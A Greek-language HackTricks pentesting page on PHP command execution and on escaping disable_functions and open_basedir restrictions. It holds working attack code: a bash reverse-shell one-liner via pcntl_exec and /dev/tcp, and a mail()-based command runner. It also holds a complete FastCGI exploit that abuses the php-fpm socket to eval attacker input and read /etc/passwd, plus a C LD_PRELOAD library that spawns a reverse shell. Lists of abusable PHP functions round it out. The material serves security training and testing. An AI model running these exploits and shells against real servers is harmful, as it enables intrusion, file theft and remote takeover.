PHP - Useful Functions & disable_functions/open_basedir bypass

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

PHP Εκτέλεση Εντολών & Κώδικα

Εκτέλεση Εντολών PHP

Σημείωση: Ένα p0wny-shell php webshell μπορεί αυτόματα να ελέγξει και να παρακάμψει την παρακάτω λειτουργία αν κάποιες από αυτές είναι απενεργοποιημένες.

exec - Επιστρέφει την τελευταία γραμμή της εξόδου των εντολών

echo exec("uname  -a");

passthru - Μεταφέρει την έξοδο των εντολών απευθείας στον περιηγητή

echo passthru("uname -a");

system - Μεταφέρει την έξοδο των εντολών απευθείας στον περιηγητή και επιστρέφει την τελευταία γραμμή

echo system("uname -a");

shell_exec - Επιστρέφει την έξοδο των εντολών

echo shell_exec("uname -a");

`` (backticks) - Ίδιο με το shell_exec()

echo `uname -a`

popen - Ανοίγει σωλήνα ανάγνωσης ή εγγραφής σε διαδικασία μιας εντολής

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Παρόμοιο με το popen() αλλά με μεγαλύτερο βαθμό ελέγχου

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Εκτελεί ένα πρόγραμμα (κατά προτίμηση σε σύγχρονο και όχι τόσο σύγχρονο PHP, χρειάζεται να φορτώσετε το pcntl.so module για να χρησιμοποιήσετε αυτή τη λειτουργία)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Αυτή η συνάρτηση χρησιμοποιείται για την αποστολή μηνυμάτων, αλλά μπορεί επίσης να καταχραστεί για να εισάγει αυθαίρετες εντολές μέσα στην παράμετρο $options. Αυτό συμβαίνει επειδή η php mail function συνήθως καλεί το δυαδικό αρχείο sendmail μέσα στο σύστημα και σας επιτρέπει να θέσετε επιπλέον επιλογές. Ωστόσο, δεν θα μπορείτε να δείτε την έξοδο της εκτελούμενης εντολής, οπότε συνιστάται να δημιουργήσετε ένα shell script που να γράφει την έξοδο σε ένα αρχείο, να το εκτελείτε χρησιμοποιώντας το mail και να εκτυπώνετε την έξοδο:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Αυτή η συνάρτηση μπορεί να χρησιμοποιηθεί για να φορτώσει δυναμικά μια επέκταση PHP. Αυτή η συνάρτηση δεν θα είναι πάντα διαθέσιμη, οπότε θα πρέπει να ελέγξετε αν είναι διαθέσιμη πριν προσπαθήσετε να την εκμεταλλευτείτε. Διαβάστε αυτή τη σελίδα για να μάθετε πώς να εκμεταλλευτείτε αυτή τη συνάρτηση.

PHP Code Execution

Εκτός από το eval, υπάρχουν άλλοι τρόποι για να εκτελέσετε κώδικα PHP: οι include/require μπορούν να χρησιμοποιηθούν για απομακρυσμένη εκτέλεση κώδικα με τη μορφή Local File Include και Remote File Include ευπαθειών.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Οι απενεργοποιημένες συναρτήσεις είναι η ρύθμιση που μπορεί να διαμορφωθεί σε αρχεία .ini στο PHP που θα απαγορεύει τη χρήση των υποδεικνυόμενων συναρτήσεων. Open basedir είναι η ρύθμιση που υποδεικνύει στο PHP τον φάκελο που μπορεί να έχει πρόσβαση. Η ρύθμιση PHP συνήθως διαμορφώνεται στη διαδρομή /etc/php7/conf.d ή παρόμοια.

Και οι δύο ρυθμίσεις μπορούν να φανούν στην έξοδο του phpinfo():

open_basedir Bypass

open_basedir θα διαμορφώσει τους φακέλους που μπορεί να έχει πρόσβαση το PHP, δεν θα μπορείτε να γράψετε/διαβάσετε/εκτελέσετε κανένα αρχείο έξω από αυτούς τους φακέλους, αλλά επίσης δεν θα μπορείτε καν να καταγράψετε άλλους καταλόγους. Ωστόσο, αν με κάποιο τρόπο μπορείτε να εκτελέσετε αυθαίρετο PHP κώδικα μπορείτε να δοκιμάσετε το παρακάτω κομμάτι κώδικα για να προσπαθήσετε να παρακάμψετε τον περιορισμό.

Καταγραφή φακέλων με glob:// bypass

Σε αυτό το πρώτο παράδειγμα χρησιμοποιείται το πρωτόκολλο glob:// με κάποια παράκαμψη διαδρομής:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Σημείωση1: Στο μονοπάτι μπορείτε επίσης να χρησιμοποιήσετε /e??/* για να καταγράψετε /etc/* και οποιονδήποτε άλλο φάκελο. Σημείωση2: Φαίνεται ότι μέρος του κώδικα είναι διπλό, αλλά αυτό είναι στην πραγματικότητα απαραίτητο! Σημείωση3: Αυτό το παράδειγμα είναι μόνο χρήσιμο για να καταγράψετε φακέλους, όχι για να διαβάσετε αρχεία.

Πλήρης παράκαμψη open_basedir εκμεταλλευόμενος το FastCGI

Αν θέλετε να μάθετε περισσότερα για το PHP-FPM και το FastCGI μπορείτε να διαβάσετε την πρώτη ενότητα αυτής της σελίδας. Αν php-fpm είναι ρυθμισμένο, μπορείτε να το εκμεταλλευτείτε για να παρακάμψετε εντελώς το open_basedir:

Σημειώστε ότι το πρώτο πράγμα που πρέπει να κάνετε είναι να βρείτε πού είναι το unix socket του php-fpm. Συνήθως βρίσκεται κάτω από το /var/run, οπότε μπορείτε να χρησιμοποιήσετε τον προηγούμενο κώδικα για να καταγράψετε τον φάκελο και να το βρείτε. Κώδικας από εδώ.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Αυτά τα σενάρια θα επικοινωνήσουν με το unix socket του php-fpm (συνήθως βρίσκεται στο /var/run αν χρησιμοποιείται το fpm) για να εκτελέσουν αυθαίρετο κώδικα. Οι ρυθμίσεις open_basedir θα παρακαμφθούν από το χαρακτηριστικό PHP_VALUE που αποστέλλεται. Σημειώστε πώς χρησιμοποιείται το eval για να εκτελέσει τον PHP κώδικα που στέλνετε μέσα στην παράμετρο cmd. Επίσης, σημειώστε τη σχολιασμένη γραμμή 324, μπορείτε να την αποσχολιάσετε και το payload θα συνδεθεί αυτόματα στη δεδομένη διεύθυνση URL και θα εκτελέσει τον PHP κώδικα που περιέχεται εκεί. Απλά αποκτήστε πρόσβαση στο http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); για να αποκτήσετε το περιεχόμενο του αρχείου /etc/passwd.

Μπορεί να σκέφτεστε ότι με τον ίδιο τρόπο που έχουμε παρακάμψει τη ρύθμιση open_basedir μπορούμε να παρακάμψουμε το disable_functions. Λοιπόν, δοκιμάστε το, αλλά δεν θα λειτουργήσει, προφανώς το disable_functions μπορεί να ρυθμιστεί μόνο σε ένα αρχείο ρύθμισης .ini php και οι αλλαγές που κάνετε χρησιμοποιώντας το PHP_VALUE δεν θα είναι αποτελεσματικές σε αυτή τη συγκεκριμένη ρύθμιση.

Bypass του disable_functions

Αν καταφέρετε να έχετε PHP κώδικα να εκτελείται μέσα σε μια μηχανή, πιθανότατα θέλετε να προχωρήσετε στο επόμενο επίπεδο και να εκτελέσετε αυθαίρετες εντολές συστήματος. Σε αυτή την κατάσταση είναι συνηθισμένο να ανακαλύπτετε ότι οι περισσότερες ή όλες οι PHP συναρτήσεις που επιτρέπουν την εκτέλεση εντολών συστήματος έχουν απενεργοποιηθεί στο disable_functions. Έτσι, ας δούμε πώς μπορείτε να παρακάμψετε αυτόν τον περιορισμό (αν μπορείτε)

Αυτόματη ανακάλυψη παράκαμψης

Μπορείτε να χρησιμοποιήσετε το εργαλείο https://github.com/teambi0s/dfunc-bypasser και θα σας υποδείξει ποια συνάρτηση (αν υπάρχει) μπορείτε να χρησιμοποιήσετε για να παρακάμψετε το disable_functions.

Παράκαμψη χρησιμοποιώντας άλλες συστημικές συναρτήσεις

Απλά επιστρέψτε στην αρχή αυτής της σελίδας και ελέγξτε αν κάποια από τις συναρτήσεις εκτέλεσης εντολών δεν είναι απενεργοποιημένη και διαθέσιμη στο περιβάλλον. Αν βρείτε έστω και μία από αυτές, θα μπορείτε να τη χρησιμοποιήσετε για να εκτελέσετε αυθαίρετες εντολές συστήματος.

Παράκαμψη LD_PRELOAD

Είναι ευρέως γνωστό ότι ορισμένες συναρτήσεις στην PHP όπως το mail() πρόκειται να εκτελέσουν δυαδικά αρχεία μέσα στο σύστημα. Επομένως, μπορείτε να τις εκμεταλλευτείτε χρησιμοποιώντας τη μεταβλητή περιβάλλοντος LD_PRELOAD για να τις κάνετε να φορτώσουν μια αυθαίρετη βιβλιοθήκη που μπορεί να εκτελέσει οτιδήποτε.

Συναρτήσεις που μπορούν να χρησιμοποιηθούν για να παρακάμψουν το disable_functions με LD_PRELOAD

  • mail

  • mb_send_mail: Αποτελεσματική όταν είναι εγκατεστημένο το module php-mbstring.

  • imap_mail: Λειτουργεί αν είναι παρόν το module php-imap.

  • libvirt_connect: Απαιτεί το module php-libvirt-php.

  • gnupg_init: Χρησιμοποιήσιμο με το εγκατεστημένο module php-gnupg.

  • new imagick(): Αυτή η κλάση μπορεί να εκμεταλλευτεί για να παρακάμψει περιορισμούς. Λεπτομερείς τεχνικές εκμετάλλευσης μπορούν να βρεθούν σε μια εκτενή αναφορά εδώ.

Μπορείτε να βρείτε εδώ το σενάριο fuzzing που χρησιμοποιήθηκε για να βρείτε αυτές τις συναρτήσεις.

Εδώ είναι μια βιβλιοθήκη που μπορείτε να μεταγλωττίσετε για να εκμεταλλευτείτε τη μεταβλητή περιβάλλοντος LD_PRELOAD:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Bypass using Chankro

Για να εκμεταλλευτείτε αυτή τη λανθασμένη ρύθμιση μπορείτε να Chankro. Αυτό είναι ένα εργαλείο που θα δημιουργήσει μια PHP εκμετάλλευση που πρέπει να ανεβάσετε στον ευάλωτο διακομιστή και να την εκτελέσετε (να την αποκτήσετε μέσω web). Chankro θα γράψει μέσα στον δίσκο του θύματος τη βιβλιοθήκη και το reverse shell που θέλετε να εκτελέσετε και θα χρησιμοποιήσει το**LD_PRELOAD trick + PHP mail()** function για να εκτελέσει το reverse shell.

Σημειώστε ότι για να χρησιμοποιήσετε το Chankro, mail και putenv δεν μπορούν να εμφανίζονται στη λίστα disable_functions. Στο παρακάτω παράδειγμα μπορείτε να δείτε πώς να δημιουργήσετε μια εκμετάλλευση chankro για arch 64, που θα εκτελέσει whoami και θα αποθηκεύσει την έξοδο στο /tmp/chankro_shell.out, το chankro θα γράψει τη βιβλιοθήκη και το payload στο /tmp και η τελική εκμετάλλευση θα ονομάζεται bicho.php (αυτό είναι το αρχείο που πρέπει να ανεβάσετε στον διακομιστή του θύματος):

#!/bin/sh
whoami > /tmp/chankro_shell.out

Αν διαπιστώσετε ότι η λειτουργία mail είναι αποκλεισμένη από τις απενεργοποιημένες λειτουργίες, μπορεί να μπορείτε να χρησιμοποιήσετε τη λειτουργία mb_send_mail. Περισσότερες πληροφορίες σχετικά με αυτή την τεχνική και το Chankro εδώ: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"Bypass" χρησιμοποιώντας τις δυνατότητες του PHP

Σημειώστε ότι χρησιμοποιώντας το PHP μπορείτε να διαβάσετε και να γράψετε αρχεία, να δημιουργήσετε καταλόγους και να αλλάξετε δικαιώματα. Μπορείτε ακόμη και να dump databases. Ίσως χρησιμοποιώντας το PHP για να enumerate το box να βρείτε έναν τρόπο να κλιμακώσετε τα δικαιώματα/εκτελέσετε εντολές (για παράδειγμα διαβάζοντας κάποιο ιδιωτικό κλειδί ssh).

Έχω δημιουργήσει ένα webshell που διευκολύνει πολύ την εκτέλεση αυτών των ενεργειών (σημειώστε ότι τα περισσότερα webshells θα σας προσφέρουν αυτές τις επιλογές επίσης): https://github.com/carlospolop/phpwebshelllimited

Bypass εξαρτώμενοι από Modules/Version

Υπάρχουν αρκετοί τρόποι για να παρακάμψετε τις απενεργοποιημένες λειτουργίες αν χρησιμοποιείται κάποιο συγκεκριμένο module ή να εκμεταλλευτείτε κάποια συγκεκριμένη έκδοση PHP:

Αυτόματο εργαλείο

Το παρακάτω script δοκιμάζει μερικές από τις μεθόδους που αναφέρονται εδώ: https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Άλλες ενδιαφέρουσες λειτουργίες PHP

Λίστα λειτουργιών που δέχονται callbacks

Αυτές οι λειτουργίες δέχονται μια παράμετρο τύπου string που θα μπορούσε να χρησιμοποιηθεί για να καλέσει μια λειτουργία της επιλογής του επιτιθέμενου. Ανάλογα με τη λειτουργία, ο επιτιθέμενος μπορεί ή όχι να έχει τη δυνατότητα να περάσει μια παράμετρο. Σε αυτή την περίπτωση, μια λειτουργία αποκάλυψης πληροφοριών όπως το phpinfo() θα μπορούσε να χρησιμοποιηθεί.

Callbacks / Callables

Ακολουθώντας τις λίστες από εδώ

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Αποκάλυψη Πληροφοριών

Οι περισσότερες από αυτές τις κλήσεις συναρτήσεων δεν είναι sinks. Αλλά μπορεί να είναι μια ευπάθεια αν οποιαδήποτε από τα δεδομένα που επιστρέφονται είναι ορατά σε έναν επιτιθέμενο. Αν ένας επιτιθέμενος μπορεί να δει το phpinfo(), είναι σίγουρα μια ευπάθεια.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Άλλα

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Filesystem Functions

Σύμφωνα με το RATS, όλες οι λειτουργίες συστήματος αρχείων στο php είναι κακές. Ορισμένες από αυτές δεν φαίνονται πολύ χρήσιμες για τον επιτιθέμενο. Άλλες είναι πιο χρήσιμες από ό,τι μπορεί να νομίζετε. Για παράδειγμα, αν το allow_url_fopen=On, τότε μια διεύθυνση URL μπορεί να χρησιμοποιηθεί ως διαδρομή αρχείου, οπότε μια κλήση στο copy($_GET['s'], $_GET['d']); μπορεί να χρησιμοποιηθεί για να ανεβάσει ένα PHP script οπουδήποτε στο σύστημα. Επίσης, αν μια ιστοσελίδα είναι ευάλωτη σε ένα αίτημα που αποστέλλεται μέσω GET, κάθε μία από αυτές τις λειτουργίες συστήματος αρχείων μπορεί να καταχραστεί για να κατευθύνει και να επιτεθεί σε έναν άλλο host μέσω του διακομιστή σας.

Open filesystem handler

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Γράψτε στο σύστημα αρχείων (μερικώς σε συνδυασμό με την ανάγνωση)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Διαβάστε από το σύστημα αρχείων

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

Last updated